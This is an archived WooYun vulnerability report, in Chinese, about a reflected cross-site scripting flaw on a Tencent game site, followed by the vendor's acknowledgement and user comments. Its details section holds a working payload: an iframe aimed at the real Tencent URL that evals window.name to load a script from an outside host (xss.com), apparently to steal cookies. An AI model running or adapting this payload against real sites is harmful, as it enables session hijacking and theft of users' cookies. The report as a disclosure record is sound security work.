黑产还在用的腾讯某站xss漏洞一枚(可窃取cookie)

  • A+
所属分类:乌云漏洞
摘要

2016-03-11: 细节已通知厂商并且等待厂商处理中
2016-03-11: 厂商已经确认,细节仅向厂商公开
2016-03-21: 细节向核心白帽子及相关领域专家公开
2016-03-31: 细节向普通白帽子公开
2016-04-10: 细节向实习白帽子公开
2016-04-25: 细节向公众公开

漏洞概要 关注数(23) 关注此漏洞

缺陷编号: WooYun-2016-183461

漏洞标题: 黑产还在用的腾讯某站xss漏洞一枚(可窃取cookie)

相关厂商: 腾讯

漏洞作者: 擼管俠

提交时间: 2016-03-11 18:46

公开时间: 2016-04-25 18:55

漏洞类型: XSS 跨站脚本攻击

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

1人收藏 收藏

分享漏洞:

黑产还在用的腾讯某站xss漏洞一枚(可窃取cookie)


漏洞详情

披露状态:

2016-03-11: 细节已通知厂商并且等待厂商处理中
2016-03-11: 厂商已经确认,细节仅向厂商公开
2016-03-21: 细节向核心白帽子及相关领域专家公开
2016-03-31: 细节向普通白帽子公开
2016-04-10: 细节向实习白帽子公开
2016-04-25: 细节向公众公开

简要描述:

详细说明:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<iframe src="http://tgp.qq.com/client/pallas/act/a20141001lol/index.htm##'><img src=x.jpg onerror=eval(window.name)>" name="$.getScript('http://xss.com/')"></iframe>me>

<body>

</body>

</html>

漏洞证明:

黑产还在用的腾讯某站xss漏洞一枚(可窃取cookie)

修复方案:

版权声明:转载请注明来源 擼管俠@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2016-03-11 18:55

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-11 18:48 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低,根本轮不到去拼...)

    1

    这么快。

  2. 2016-03-11 18:53 | 奈何彼岸 ( 普通白帽子 | Rank:140 漏洞数:49 | 乌云一下你就知道)

    1

    表哥,可否帮我打个妹子的cookie

  3. 2016-03-11 18:53 | 浩天 黑产还在用的腾讯某站xss漏洞一枚(可窃取cookie) ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)

    1

    洞主定是花式撸管冠军

  4. 2016-03-11 18:59 | 暴走 ( 普通白帽子 | Rank:615 漏洞数:107 | 专心补刀。)

    1

    呵呵,被礼节炮了!

  5. 2016-03-11 19:00 | 擼管俠 ( 实习白帽子 | Rank:35 漏洞数:5 | 是时候合体了)

    1

    鹅厂太抠了

  6. 2016-03-11 19:41 | xsser 黑产还在用的腾讯某站xss漏洞一枚(可窃取cookie) ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

    1

    @擼管俠 交给cert吧 不直接接触了

  7. 2016-04-30 14:16 | Chinalover ( 实习白帽子 | Rank:39 漏洞数:9 | 你看得到我打在屏幕上的字,却看不到我落在...)

    0

    怎么连续爆了三个这样的反射xss。。。发生了什么

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin